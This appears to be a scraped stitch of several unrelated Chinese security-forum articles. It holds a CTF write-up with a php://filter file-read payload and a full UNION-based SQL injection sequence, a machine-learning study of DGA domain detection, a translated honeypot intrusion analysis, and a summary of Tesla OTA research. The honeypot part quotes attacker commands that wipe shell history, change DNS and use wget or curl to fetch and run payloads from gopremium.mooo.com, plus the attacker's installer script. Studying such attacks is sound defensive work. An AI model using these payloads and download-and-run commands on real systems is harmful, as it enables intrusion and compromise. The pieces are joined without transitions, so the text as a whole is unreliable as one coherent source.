传入的file经过了一些过滤，但是没有过滤filter，我们可以用php://fileter来获取文件。构造url:
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
获取到了flag.php的base64加密，复制加密内容到解密网站去即可得到flag
对回显的数据进行base64解码：
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZTc4MjM3YWUtMGNiYS00NTlkLTg3N2QtNjBmYmQ4NzNkNWEwfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
结果如下：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{e78237ae-0cba-459d-877d-60fbd873d5a0}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
## **8.[极客大挑战 2019]LoveSQL**
访问url：
<http://e46c62ea-857f-4497-8656-5dd8bc8fa62a.node3.buuoj.cn/>
首页如下：
发现登录框，可能是万能密码登录，我们试一下：
在登录框中输入：
用户名：1' or 1=1#
密码：123（随便输）
点击登录：
跳转到了check.php页面。并得到了用户名和密码：
尝试密码md5解密失败，还是回到注入的思路上，查询字段数：
在url中输入：
/check.php?username=admin' order by 3%23&password=1 存在
/check.php?username=admin' order by 4%23&password=1 报错
注意：此时是在url中输入的，所以不能用#，而用其url编码%23。
可知共3个字段。用union查询测试注入点（回显点位）：
/check.php?username=1' union select 1,2,3%23&password=1
得到回显点位为2和3
查询当前数据库名及版本：
/check.php?username=1' union select 1,database(),version()%23&password=1
可知当前数据库为geek
接下来爆表：
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
得到表名为geekuser,l0ve1ysq1
试一下l0ve1ysq1这个表，爆字段：
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
得到字段名为id,username,password
爆数据：
/check.php?username=1' union select 1,2,group_concat(id,username,password)
from l0ve1ysq1%23&password=1
得到flag{0496f85f-c789-491f-93b8-7c76bdbe8a4a}
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的 | 社区文章 |
## 恶意域名
恶意域名是指黑客在攻击过程中或者对目标网络实施控制时，使用dga算法生成的域名，这种域名通常硬编码在恶意软件中。我们在做流量分析时不仅要通过流量的指纹特征识别威胁，也可以通过检测是否解析了恶意域名来判断网络中是否存在肉鸡。
## 传统DGA域名检测方法
1、最直接的就是逆向恶意程序，这种办法要求高，并且只能查到已知样本的恶意dga域名。
2 、网络流量分析，抓出异常的dns请求，分析确认
3 、碰撞dga库，白帽子收集和用dga算法生成的域名库。
## 基于机器学习的检测方法
**白样本** ：采用Alexa top1m
**黑样本** ：<http://data.netlab.360.com/dga/>
初步分析：dga域名属于文本特征，我们先用最常用文本特征处理手段 **N-gram+tf-idf 、NLP提取词向量特征+机器学习分类器**
，我们将黑白样本合并、打乱顺序，用 **N-gram+tf-idf** 方式进行初测试。(没得GPU，使用词向量提取时间过长，放弃...)
**2-gram+tf-idf+XGBoost**
样本稍微有点不均衡，而且维度很大训练吃力，不过测试效果不错。
### 数据分析特征提取
黑白样本不均衡，保留类别数目大于3000的家族样本,并使用随机下采样方式使黑白样本均衡。
仅做测试数据足够，而且高维文本特征表示，近乎两两正交，使用 **SMOTE** 类似方法过采样效果甚微。
最终数据分布如下：
DGA算法作为随机域名生成算法，它生成的域名与正常域名相比随机性更强。可以从如下几个方面考虑特征：
1、数字/字母 占比
2、元音字母/辅音字母 占比(合法域名一般由正常字母组成包含元音字母多，可读行强)
3、字母 重复出现次数占比
4、域名长度
5、香农熵(可以判断域名随机性)
特征数据分布图可以大概看出特征区分度：
特征相关性分布混淆矩阵：
特征关联性分布散点图：
使用SelectKBest对特征评分：
通过以上分析得出DGA域名中字母出现占比与字母重复出现次数占比相关性比较大，根据特征评分删除字母占比特征。
使用上述6个特征经XGBoost分类器训练结果如下:
合并TF-IDF特征经XGBoost分类器训练结果如下：
使用stacking模型融合尝试进一步提升模型效果：
KFOLD,n_splits=5
经测试在本数据集上stacking
在低维数据集表现不佳,使用stacking方法训练上述自己提取的六个特征,stacking模型准确率、roc值均与第一层最优分类器相近(仅适用本数据集)。但处理高维tf-idf特征相较第一层分类器有较大提升，特征融合后使用少量样本集做测试也均有较大提升。
## ref
* <https://www.cdxy.me/?p=806> | 社区文章 |
# 【技术分享】解剖一次真正的 Linux 入侵（第一部分）︰ 运行SSH MiTM 蜜罐
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.angelalonso.es/2016/09/anatomy-of-real-linux-intrusion-part-i.html>
译文仅供参考，具体内容表达以及含义原文为准。
在接下来的文章中，我将会描写我最近一直在研究的、十分有趣的Linux攻击和入侵。我将会分享一些我已经分析过的工具，其中包括几个木马工具、扫描工具、root工具包等。
我已经运行了一段时间的Linux蜜罐。大概7年前，我使用过内核级别的[Sebek](https://projects.honeynet.org/sebek/)
进行系统调用。基于这项[研究](https://www.dcu.ie/registry/module_contents.php?function=4&programme=MSSF)，我在柏林城市大学为安全和法医博士们做过[一次展示](http://www.angelalonso.es/doc-presentaciones/Rootkit&honeypot-aalonso-DCU-Dec09.pdf)。
几年前，我开始在不同ISP供应商和国家内的几个树莓Pi运行[Kippo](https://github.com/desaster/kippo)蜜罐。
最近，我将其中几个蜜罐转移到了一个新的树莓Pi3B模型中。这个新的树莓拥有非常酷的 wifi
无线集成网络。我没有继续使用Kippo，而是安装了它的一个分支[honssh](https://github.com/tnich/honssh)，它允许运行SSH
MiTM。这个高交互蜜罐安装程序的主要优点就是允许攻击者访问真正的系统。
**安装程序如下：**
* * *
**·** 运行Raspbian的两个树莓Pi:带有Wifi和Eth0的树莓Pi 3 ，和只带有eth0的树莓Pi 2
**·** 将树莓Pi 3 通过WiFi 与路由器相连。
**·** 将树莓Pi 3的eth0 接口连接到树莓Pi 2的eth0。在此设置中，通过树莓Pi 2的流量就一定会通过树莓Pi 3了。
**·** 在树莓Pi 3中安装合适的NAT和防火墙。
**·** 将NAT接入连接到树莓Pi 3路由器上的22接口。
**·** 执行SSH MiTM的HonSSH在树莓Pi3上运行。任何传入的 SSH 连接都会重定向到运行真正 Debian 系统的树莓 2。
在树莓 Pi 3 主机上，我运行了 iptables 来控制流量。基本上流量都来自树莓 Pi 2，也就是即将被入侵的地方，我只接受传出 HTTP，NTP 和
DNS 和传入 SSH，其余的都会被阻止。
iptables 脚本如下︰
#!/bin/sh
/sbin/iptables -F
/sbin/iptables -F -t nat
/sbin/iptables --policy INPUT DROP
/sbin/iptables --policy OUTPUT ACCEPT
/sbin/iptables --policy FORWARD DROP
/sbin/iptables -A INPUT -i wlan0 -p 6 --dport 22222 -j ACCEPT
/sbin/iptables -A INPUT -i wlan0 -p 6 --dport 2222 -j ACCEPT
/sbin/iptables -A INPUT -i wlan0 -p tcp --dport ftp -j ACCEPT
/sbin/iptables -A INPUT -i wlan0 -p tcp --dport ftp-data -j ACCEPT
/sbin/iptables -A INPUT -p ALL -i wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A INPUT -p ALL -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A INPUT -p icmp -i wlan0 -j ACCEPT
/sbin/iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
/sbin/iptables -A INPUT -i eth0 -j DROP
/sbin/iptables -A FORWARD -p ALL -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A FORWARD -p tcp --dport 80 -j ACCEPT
/sbin/iptables -A FORWARD -p udp --dport 53 -j ACCEPT
/sbin/iptables -A FORWARD -p tcp --dport 53 -j ACCEPT
/sbin/iptables -A FORWARD -p tcp --dport 123 -j ACCEPT
/sbin/iptables -A FORWARD -p udp --dport 123 -j ACCEPT
/sbin/iptables -A FORWARD --dst 192.168.1.0/24 -j DROP
/sbin/iptables -A INPUT -i eth0 --dst 192.168.1.0/24 -j DROP
/sbin/iptables -A FORWARD -p icmp -j ACCEPT
在Honssh Wiki
的网址<https://github.com/tnich/honssh/wiki>中，你可以找到一些用于设置的文件。我还做了一些额外的事情：
**·** 在树莓Pi2中创建了几个易于蛮力攻击的账号。
**·** 将树莓Pi2中来自SSHD的密钥复制到HonSSH，因此这两套密钥是相通的。这使得通过SSH指纹发现MiTM SSH变得更加困难。
**·** Raspbian 8中的默认openssh服务器是6.7，此版本不支持SSH 遗留协议。我手动添加了所需协议，以保证可以兼容一些攻击。因此，我在
/etc/ssh/sshd_config中加入了这个：
**·**
[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
**·** HonSSH中改进的网络技术足以骗过攻击者。
HonSSH存在一个小漏洞，导致 HonSSH 进程会时不时的崩溃。我创建了一个 cron 脚本，每 5
分钟运行一次来检查该进程是否在运行，如果没有就重新启动该进程。
该脚本如下：
#!/bin/bash
process=`ps auxw | grep /usr/bin/twistd | grep -v grep | awk '{print $2}'`if [ $process > 1 ]then echo $process else cd /home/admin/honssh-master/
./honsshctrl.sh stop; rm honssh.pid; ./honsshctrl.sh stop; ./honsshctrl.sh start &
fi
有趣的事情就要开始了。
现在有很多针对蜜罐的攻击手段： SSH 扫描、 用户和密码蛮力攻击、在遭到损害的系统中安装扫描工具、 安装 IRC
保镖等。这一系列攻击正在各个国家发生着。但是现在我的重点不是数据分析，而是这些网络罪犯们使用的工具。我将会描写一些我已经分析过的有趣的恶意工具。
重要提示：在我写下这篇文章的时候，存在不同URL中的这些恶意工具仍旧是活跃状态。网络罪犯们也依旧在使用着这些工具进行自己的恶意活动，所以我决定将这一切公之于众，为安全研究尽一份力。
**自动扫描和蛮力攻击**
* * *
这种攻击的第一步就是通过暴力破解来获得访问权限。
蛮力的IP来源通常是已经被入侵的主机，通过自动工具来获取大范围的IP。在真正入侵发生之前，会遭到蛮力攻击的IP列表如下：
116.96.24.144
158.69.84.195
171.234.230.47
185.110.132.201
193.169.53.171
194.203.215.254
195.154.45.84
203.113.167.163
217.243.198.134
42.114.236.217
91.224.160.106
使用有效凭据手动进入受损主机
* * *
一旦网络罪犯从上一步中获取了有效凭据，他们就会手动登陆，但是这次的登陆是在一个不同的IP地址。在下面这种情况下，使用的IP地址是5.189.136.43。
016-09-04 10:26:43+0200 [honssh.server.HonsshServerFactory] [PLUGIN][HONEYPOT-STATIC] - GET_PRE_AUTH_DETAILS
2016-09-04 10:26:43+0200 [-] [PRE_AUTH] - Connecting to Honeypot: normando (192.168.16.2:22)
2016-09-04 10:26:43+0200 [-] [ADV-NET] - HonSSH Interface already exists, not re-adding
2016-09-04 10:26:43+0200 [-] [ADV-NET] - HonSSH FakeIP and iptables rules added
2016-09-04 10:26:43+0200 [-] Starting factory <honssh.client.HonsshClientFactory instance at 0x745ccaf8>
2016-09-04 10:26:43+0200 [Uninitialized] [CLIENT] - New client connection
2016-09-04 10:26:43+0200 [HonsshClientTransport,client] kex alg, key alg: diffie-hellman-group-exchange-sha1 ssh-rsa
2016-09-04 10:26:43+0200 [HonsshClientTransport,client] outgoing: aes256-ctr hmac-sha1 none
2016-09-04 10:26:43+0200 [HonsshClientTransport,client] incoming: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200 [HonsshClientTransport,client] REVERSE
2016-09-04 10:26:44+0200 [HonsshClientTransport,client] NEW KEYS
2016-09-04 10:26:44+0200 [HonsshClientTransport,client] [CLIENT] - Client Connection Secured
2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] outgoing: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] incoming: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200 [-] [PLUGIN][OUTPUT-TXTLOG] - CONNECTION_MADE
2016-09-04 10:26:44+0200 [-] [PRE_AUTH] - CLIENT CONNECTED, REPLAYING BUFFERED PACKETS
2016-09-04 10:26:47+0200 [HonsshServerTransport,76,5.189.136.43] NEW KEYS
2016-09-04 10:26:49+0200 [HonsshClientTransport,client] [SSH] - Detected Public Key Auth - Disabling!
2016-09-04 10:26:51+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][HONEYPOT-STATIC] - GET_POST_AUTH_DETAILS
2016-09-04 10:26:51+0200 [-] [POST_AUTH] - SUCCESS = FALSE, NOT POST-AUTHING
2016-09-04 10:26:51+0200 [HonsshClientTransport,client] [PLUGIN][OUTPUT-TXTLOG] - LOGIN_SUCCESSFUL
2016-09-04 10:26:52+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - CHANNEL_OPENED
2016-09-04 10:26:57+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: unset HISTFILE
2016-09-04 10:26:57+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:21+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: uname -a
2016-09-04 10:27:21+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: export HISTFILE=/dev/null
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: sudo su - 2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: export HISTFILE=/dev/null
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: mkdir /tmp/... ; cd /tmp/...
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: echo "nameserver 208.67.220.222" >> /etc/resolv.conf
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: wget http://gopremium.mooo.com/.../auto/p
2016-09-04 10:27:23+0200 [HonsshServerTransport,76, ] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: chmod +x p ; ./p
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [-] [PLUGIN][OUTPUT-TXTLOG] - DOWNLOAD_FINISHED
2016-09-04 10:27:35+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: admin
2016-09-04 10:27:35+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:46+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: cat /etc/issue
2016-09-04 10:27:46+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:54+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: ct /etc/passwd^[[1~a
2016-09-04 10:27:54+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:11+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: whoami
2016-09-04 10:28:11+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:39+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: last|more
2016-09-04 10:28:39+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:46+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: passwd
2016-09-04 10:28:46+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:48+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: admin
2016-09-04 10:28:48+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:01+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo
2016-09-04 10:29:01+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:04+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo
2016-09-04 10:29:04+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:09+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo1
2016-09-04 10:29:09+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:12+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo1
2016-09-04 10:29:12+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:21+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: ifconfig
2016-09-04 10:29:21+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:33:58+0200 [HonsshServerTransport,76,5.189.136.43] Disconnecting with error, code 10
reason: user closed connection
2016-09-04 10:33:58+0200 [HonsshServerTransport,76,5.189.136.43] connection lost
从上面的日志中我可以提取出一整套执行命令如下︰
unset HISTFILE
uname -a
export HISTFILE=/dev/null
sudo su - export HISTFILE=/dev/null
mkdir /tmp/... ; cd /tmp/...
echo "nameserver 208.67.220.222" >> /etc/resolv.conf
wget http://gopremium.mooo.com/.../auto/p
chmod +x p ; ./p
admin
cat /etc/issue
ct /etc/passwda
last|more
passwd
admin
modrepo
modrepo
modrepo1
modrepo1
Ifconfig
**这里有几个值得注意的地方：**
**·** 攻击者们禁用了 HISTFILE，目的是不留下任何在.bash_history 执行命令的证据。此外他们还在 /tmp
中创建了目录"……"来愚弄管理员。
**·** 他们还尝试更改 DNS，可能是为了确保存储附加工具的主机可以被处理，但也可能是为了避免连接到内部的 DNS 服务器，这个服务器可以监测任何可疑的
DNS 查询。
**·** 他们采用了"cat /etc/passwda"命令，这意味着他们手动运行了该命令。
**·** 最后，攻击者试图将默认密码'admin'更改为"modrepo"，但是没有成功，最后只好改为"modrepo1"。
**·**
文件“p”来自[http://gopremium.mooo.com/…/auto/p。](http://gopremium.mooo.com/.../auto/p%E3%80%82)
**脚本1（p）：检查必要工具**
* * *
主要目的如下：
**·** 尝试编译一段小的C脚本，来检查GCC编译器是否安装并可以正常运行。
**·** 如果没有安装编译器，脚本会试图进行安装。根据Linux的版本不同，会使用yum, apt, yast,
zipper来安装gcc。然后再尝试编译执行程序。
下面是第一个p脚本的内容：
* * *
#!/bin/bash
############## first installation part (p)
############## verificam daca serverul are instalat ce ne trebuie
# echo -e "33[0;31m [-] 33[0m33[0m" # red
# echo -e "33[0;32m [+] 33[0m33[0m" # green
# echo -e "33[0;36m xxx 33[0m33[0m" #cyan
echo
export HISTFILE=/dev/null
export PATH=$PATH:/usr/local/sbin/
export PATH=$PATH:/usr/sbin/
export PATH=$PATH:/sbin
export PATH=$PATH:/bin
if [ "$(whoami)" != "root" ]; then
echo -e "33[0;31m [-] 33[0m33[0m you are not root" # red
echo; exit
fi
### verificam daca e instalat ce folosim
weneed="/usr/bin/gcc"
weinstall="gcc"
if [ -f $weneed ]; then
echo -e "33[0;32m [+] 33[0m33[0m $weinstall found" # green
### testam gcc (la unele servere lipsesc librarii)
echo "#include <stdio.h>" > t.c
echo "#include <pthread.h>" >> t.c
echo "int main() {" >> t.c
echo "sleep(1);" >> t.c
echo "return 0;" >> t.c
echo "}" >> t.c
gcc -o t t.c 1>>/dev/null 2>>/dev/null
if [ -f t ]; then
echo -e "33[0;32m [+] 33[0m33[0m $weinstall test was successful" # green
rm -rf t.c t
else
echo -e "33[0;31m [-] 33[0m33[0m $weinstall test failed. aborting. " # red
echo "try to install libc6-dev: apt-get install -y libc6-dev"
rm -rf t.c
echo ; exit
fi
# EOF testam gcc (la unele servere lipsesc librarii)
else
echo -e "33[0;31m [-] 33[0m33[0m $weinstall missing - trying to install... " # red
if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi
if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi
if [ -f $weneed ]; then
echo ; echo -e "33[0;32m [+] 33[0m33[0m $weinstall installed." # green
### testam gcc (la unele servere lipsesc librarii)
echo "#include <stdio.h>" > t.c
echo "#include <pthread.h>" >> t.c
echo "int main() {" >> t.c
echo "sleep(1);" >> t.c
echo "return 0;" >> t.c
echo "}" >> t.c
gcc -o t t.c 1>>/dev/null 2>>/dev/null
if [ -f t ]; then
echo -e "33[0;32m [+] 33[0m33[0m $weinstall test was successful" # green
rm -rf t.c t
else
echo -e "33[0;31m [-] 33[0m33[0m $weinstall test failed. aborting. " # red
echo "try to install libc6-dev: apt-get install -y libc6-dev"
rm -rf t.c
echo ; exit
fi
# EOF testam gcc (la unele servere lipsesc librarii)
else
echo ; echo -e "33[0;31m [-] 33[0m33[0m $weinstall failed to install. aborting. " # red
echo ; exit
fi
fi
weneed="/bin/sed"
weinstall="sed"
if [ -f $weneed ]; then
echo -e "33[0;32m [+] 33[0m33[0m $weinstall found" # green
else
echo -e "33[0;31m [-] 33[0m33[0m $weinstall missing - trying to install... " # red
if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi
if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi
if [ -f $weneed ]; then
echo ; echo -e "33[0;32m [+] 33[0m33[0m $weinstall installed." # green
else
echo ; echo -e "33[0;31m [-] 33[0m33[0m $weinstall failed to install. aborting. " # red
echo ; exit
fi
fi
weneed="/usr/bin/curl"
weinstall="curl"
if [ -f $weneed ]; then
echo -e "33[0;32m [+] 33[0m33[0m $weinstall found" # green
else
echo -e "33[0;31m [-] 33[0m33[0m $weinstall missing - trying to install... " # red
if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi
if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi
if [ -f $weneed ]; then
echo ; echo -e "33[0;32m [+] 33[0m33[0m $weinstall installed." # green
else
echo ; echo -e "33[0;31m [-] 33[0m33[0m $weinstall failed to install. aborting. " # red
echo ; exit
fi
fi
# EOF verificam daca e instalat ce folosim
echo -e "33[0;32m [+] 33[0m33[0m downloading OS & RK detection (p1)" # green
rm -rf p1
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p1
if [ ! -f p1 ] ; then echo -e "33[0;31m [-] 33[0m33[0m file missing - download failed. aborting" ; echo ; exit ; fi
chmod +x p1 ; ./p1
分享一些有趣的观点：
* 此脚本的注释用的是罗马尼亚语，该入侵中其余所有的脚本和工具都用的是罗马尼亚语。看起来似乎这些攻击者都是罗马尼亚人，或者是他们使用工具的开发者是罗马尼亚人。
* 已经有人调试过脚本，并报告了存在的问题（用彩色标出）。他们已经投入了相当多的时间来开发这些脚本和工具。这个脚本显示的是“下载OS&RK检测”。
** **下面是在实验主机中执行该脚本获得的输出：
以上就是本文第一部分的内容，我会在文章的第二部分中分享第二个p脚本，并且对Linux入侵进行更深入的分析，所以尽请期待在《解剖一次真正的 Linux
入侵（第二部分）》中更精彩的技术分享吧。 | 社区文章 |
# 腾讯科恩实验室Black Hat USA 2018议题解读 | 特斯拉汽车的渗透测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
OTA（Over-The-Air）是汽车行业智能网联变革的核心能力之一。本次Black Hat USA
2018上，腾讯科恩实验室带来了2017年对特斯拉具备的先进OTA功能相关的安全研究成果。本成果对于促进汽车行业安全稳定落地智能网联化具有重大积极作用，同时本次议题也是全球首次涉及对汽车先进驾驶辅助系统（ADAS，特斯拉相关系统名为：Autopolit）的信息安全研究成果披露。更多详细信息请关注腾讯科恩实验室官方微信号：KeenSecurityLab，并回复“车联网安全”即可获得此次研究技术细节白皮书。
## 议题概要
腾讯安全科恩实验室在2016年和2017年，在避免物理接触汽车的远程攻击场景下，连续两年针对特斯拉Model S和Model
X进行了攻击测试。在去年举办的Black Hat
USA大会上，科恩实验室的研究人员介绍了2016年特斯拉公司对其研究成果的致谢中所包含的具体细节，并向与会者展示了一系列Tesla汽车的安全漏洞，获得了与会者的好评。此外，借助灯光舞蹈秀的形式展示了利用2017年发现的另一批漏洞攻击的威力，但相关漏洞的细节并未公布。今年，该议题将会进一步介绍2017年彩蛋视频背后涉及到的技术细节。除了介绍特斯拉的由云端主导的空中升级（OTA）机制，并展示一些攻击链中开发的新技术外，该议题还将着重介绍测试过程中发现的多个严重的安全漏洞。
## 作者简介
刘令，腾讯科恩实验室研究员，专注于逆向工程、漏洞挖掘、漏洞研究等技术，多次参与特斯拉等汽车的安全研究。曾在QEMU和XEN中发现多个虚拟化漏洞，同时也是一名CTF爱好者。
张文凯，腾讯科恩实验室研究员，多次参与特斯拉、宝马等汽车安全研究项目，主要负责汽车CAN网络和汽车固件分析工作，有丰富的嵌入式系统软件开发经验，熟悉ECU设计过程和汽车CAN网络结构。
杜岳峰，腾讯科恩实验室研究员，多次参与特斯拉汽车安全研究，对逆向工程和恶意软件分析领域有着浓厚的兴趣。
## 议题解析
在今年的Black Hat
USA大会上，我们向大家介绍2017年的攻击链中相关漏洞的细节，并分享使用这些漏洞是如何完成灯光秀的。此外，自动驾驶系统的安全性已经成为一个新的热点话题，我们则会向大家展示在特斯拉车上，对辅助驾驶模块（即Autopillot，也称APE）的安全研究成果。最后，和以往一样，我们将会介绍特斯拉对相关漏洞的修复结果，并再一次强调只有安全研究者、安全社区和设备厂商互相合作，才能有效的提高整体安全水平。
攻击过程中涉及到的部分硬件单元和连接方式如下图所示。在去年，我们利用了两个Webkit中存在的漏洞，实现了浏览器中的任意代码执行。今年的情况和去年类似，整个攻击过程依然是从一个Webkit漏洞开始的。
CID上具有一个Webkit内核的浏览器，在漏洞报告时，该浏览器仍保持为534.34版。该版本的Webkit内核中，存在一个UAF漏洞，下图即是该漏洞的PoC代码：
